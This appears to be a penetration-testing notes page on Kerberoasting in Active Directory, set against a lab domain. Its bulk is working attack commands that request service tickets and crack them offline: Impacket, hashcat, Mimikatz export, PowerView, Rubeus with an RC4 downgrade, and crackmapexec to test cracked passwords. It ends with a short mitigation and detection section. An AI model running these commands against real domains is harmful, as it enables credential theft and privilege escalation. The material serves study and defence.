Kerberoasting
Kerberoasting is a lateral movement/privilege escalation technique in Active Directory environments
This attack targets Service Principal Names (SPN) accounts. SPNs are unique identifiers that Kerberos uses to map a service instance to a service account in whose context the service is running. Domain accounts are often used to run services to overcome the network authentication limitations of built-in accounts such as NT AUTHORITY\LOCAL SERVICE. Any domain user can request a Kerberos ticket for any service account in the same domain. This is also possible across forest trusts if authentication is permitted across the trust boundary. All you need to perform a Kerberoasting attack is an account's cleartext password (or NTLM hash), a shell in the context of a domain user account, or SYSTEM level access on a domain-joined host.
Many services require elevated privileges on various systems, so service accounts are often added to privileged groups, such as Domain Admins, either directly or via nested membership.
Depending on your position in a network, this attack can be performed in multiple ways:
From a non-domain joined Linux host using valid domain user credentials.
From a domain-joined Linux host as root after retrieving the keytab file.
From a domain-joined Windows host authenticated as a domain user.
From a domain-joined Windows host with a shell in the context of a domain account.
As SYSTEM on a domain-joined Windows host.
From a non-domain joined Windows host using runas /netonly.
Linux - Impacket
First we will get a list of SPNs. It is always worth investigating the group membership of all accounts because we may find an account with an easy-to-crack ticket that can help us further our goal of moving laterally/vertically in the target domain. (will ask for password after)
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/usernameAdding -request to the command will pull down the hashes which can be fed into hashcat or John the Ripper for offline cracking:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/username -request -outputfile sqldev_tgsWe can request TGS ticket for a single service as well:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/username -request-user sqldev -outputfile sqldev_tgsNow we can use Hashcat to crack it using option 13100
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txtIf we can crack the hash we can verify with crackmapexec:
sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!Windows
Use setspn.exe to get SPN list:
setspn.exe -Q */*Now lets target a single user using PowerShell (e.g. MSSQLSvc):
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"The Add-Type cmdlet is used to add a .NET framework class to our PowerShell session, which can then be instantiated like any .NET framework object
The
-AssemblyNameparameter allows us to specify an assembly that contains types that we are interested in usingSystem.IdentityModel is a namespace that contains different classes for building security token services
We'll then use the New-Object cmdlet to create an instance of a .NET Framework object
We'll use the System.IdentityModel.Tokens namespace with the KerberosRequestorSecurityToken class to create a security token and pass the SPN name to the class to request a Kerberos TGS ticket for the target account in our current logon session
We can also retrieve TGS with setspn.exe for all accounts that has SPN set:
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }Now that the tickets are loaded, we can use Mimikatz to extract the ticket(s) from memory.
mimikatz # base64 /out:true
kerberos::list /exportThis will return a base64 blob which we can prepare for cracking:
echo "<base64 blob>" | tr -d \\n Next we place the output file into .kirbi file:
cat encoded_file | base64 -d > sqldev.kirbiNext we extract the kerberos ticket using kirbi2john.py
python2.7 kirbi2john.py sqldev.kirbiNext we modify it for hashcat:
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcatFinally we can feed it into hashcat for cracking:
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txtIf we decide to skip the base64 output with Mimikatz and type mimikatz # kerberos::list /export, the .kirbi file (or files) will be written to disk. In this case, we can download the file(s) and run kirbi2john.py against them directly, skipping the base64 decoding step.
PowerView
We can automate this using automated tools like PowerView:
# Getting SPNs
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname# Getting the TGS ready for a single user sqldev
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format HashcatThis will return it but its messy so we save it in a file and remove all new lines and spaces with:
tr -d ' \n' < hash.txt > tmp_file && mv tmp_file hash.txt
# Extracting all TGS importing as CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformationRubeus
We can also use Rubeus from GhostPack to perform Kerberoasting even faster and easier. Rubeus provides us with a variety of options for performing Kerberoasting.
.\Rubeus.exeRubeus gives us more options like:
Performing Kerberoasting and outputting hashes to a file
Using alternate credentials
Performing Kerberoasting combined with a pass-the-ticket attack
Performing "opsec" Kerberoasting to filter out AES-enabled accounts
Requesting tickets for accounts passwords set between a specific date range
Placing a limit on the number of tickets requested
Performing AES Kerberoasting
We can check the date when password was last set with /stats
.\Rubeus.exe kerberoast /statsLet's use Rubeus to request tickets for accounts with the admincount attribute set to 1. These would likely be high-value targets and worth our initial focus for offline cracking efforts with Hashcat. Be sure to specify the /nowrap flag so that the hash can be more easily copied down for offline cracking using Hashcat. Per the documentation, the ""/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function"; therefore, we won't have to worry about trimming white space or newlines before cracking with Hashcat.
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrapWe can create a user for example testspn:
.\Rubeus.exe kerberoast /user:testspn /nowrapEncryption types in Kerberos
Kerberoasting tools typically request RC4 encryption when performing the attack and initiating TGS-REQ requests. This is because RC4 is weaker and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256. When performing Kerberoasting in most environments, we will retrieve hashes that begin with $krb5tgs$23$*, an RC4 (type 23) encrypted ticket. Sometimes we will receive an AES-256 (type 18) encrypted hash or hash that begins with $krb5tgs$18$*. While it is possible to crack AES-128 (type 17) and AES-256 (type 18) TGS tickets using Hashcat, it will typically be significantly more time consuming than cracking an RC4 (type 23) encrypted ticket, but still possible especially if a weak password is chosen.
We can run this PowerView command that will give us msds-supportedencryptiontypes. For example: a decimal value of 0 means default RC4_HMAC_MD5 as per the chart here and 24 means AES 128/256 . For type AES , to run this through Hashcat, we need to use hash mode 19700, which is Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96) per the handy Hashcat example_hashes table.
We can use Rubeus with the /tgtdeleg flag to specify that we want only RC4 encryption when requesting a new service ticket. The tool does this by specifying RC4 encryption as the only algorithm we support in the body of the TGS request. This may be a failsafe built-in to Active Directory for backward compatibility. By using this flag, we can request an RC4 (type 23) encrypted ticket that can be cracked much faster.
Note: This does not work against a Windows Server 2019 Domain Controller, regardless of the domain functional level. It will always return a service ticket encrypted with the highest level of encryption supported by the target account. This being said, if we find ourselves in a domain with Domain Controllers running on Server 2016 or earlier (which is quite common), enabling AES will not partially mitigate Kerberoasting by only returning AES encrypted tickets, which are much more difficult to crack, but rather will allow an attacker to request an RC4 encrypted service ticket. In Windows Server 2019 DCs, enabling AES encryption on an SPN account will result in us receiving an AES-256 (type 18) service ticket, which is substantially more difficult (but not impossible) to crack, especially if a relatively weak dictionary password is in use.
It is possible to edit the encryption types used by Kerberos. This can be done by opening Group Policy, editing the Default Domain Policy, and choosing: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options, then double-clicking on Network security: Configure encryption types allowed for Kerberos and selecting the desired encryption type allowed for Kerberos. Removing all other encryption types except for RC4_HMAC_MD5 would allow for the above downgrade example to occur in 2019. Removing support for AES would introduce a security flaw into AD and should likely never be done. Furthermore, removing support for RC4 regardless of the Domain Controller Windows Server version or domain functional level could have operational impacts and should be thoroughly tested before implementation.
Mitigation & Detection
An important mitigation for non-managed service accounts is to set a long and complex password or passphrase that does not appear in any word list and would take far too long to crack. However, it is recommended to use Managed Service Accounts (MSA), and Group Managed Service Accounts (gMSA), which use very complex passwords, and automatically rotate on a set interval (like machine accounts) or accounts set up with LAPS.
Kerberoasting requests Kerberos TGS tickets with RC4 encryption, which should not be the majority of Kerberos activity within a domain. When Kerberoasting is occurring in the environment, we will see an abnormal number of TGS-REQ and TGS-REP requests and responses, signaling the use of automated Kerberoasting tools. Domain controllers can be configured to log Kerberos TGS ticket requests by selecting Audit Kerberos Service Ticket Operations within Group Policy.
Doing so will generate two separate event IDs: 4769: A Kerberos service ticket was requested, and 4770: A Kerberos service ticket was renewed. 10-20 Kerberos TGS requests for a given account can be considered normal in a given environment. A large amount of 4769 event IDs from one account within a short period may indicate an attack.
Some other remediation steps include restricting the use of the RC4 algorithm, particularly for Kerberos requests by service accounts. This must be tested to make sure nothing breaks within the environment. Furthermore, Domain Admins and other highly privileged accounts should not be used as SPN accounts (if SPN accounts must exist in the environment).
This excellent post by Sean Metcalf highlights some mitigation and detection strategies for Kerberoasting.
Last updated
Was this helpful?
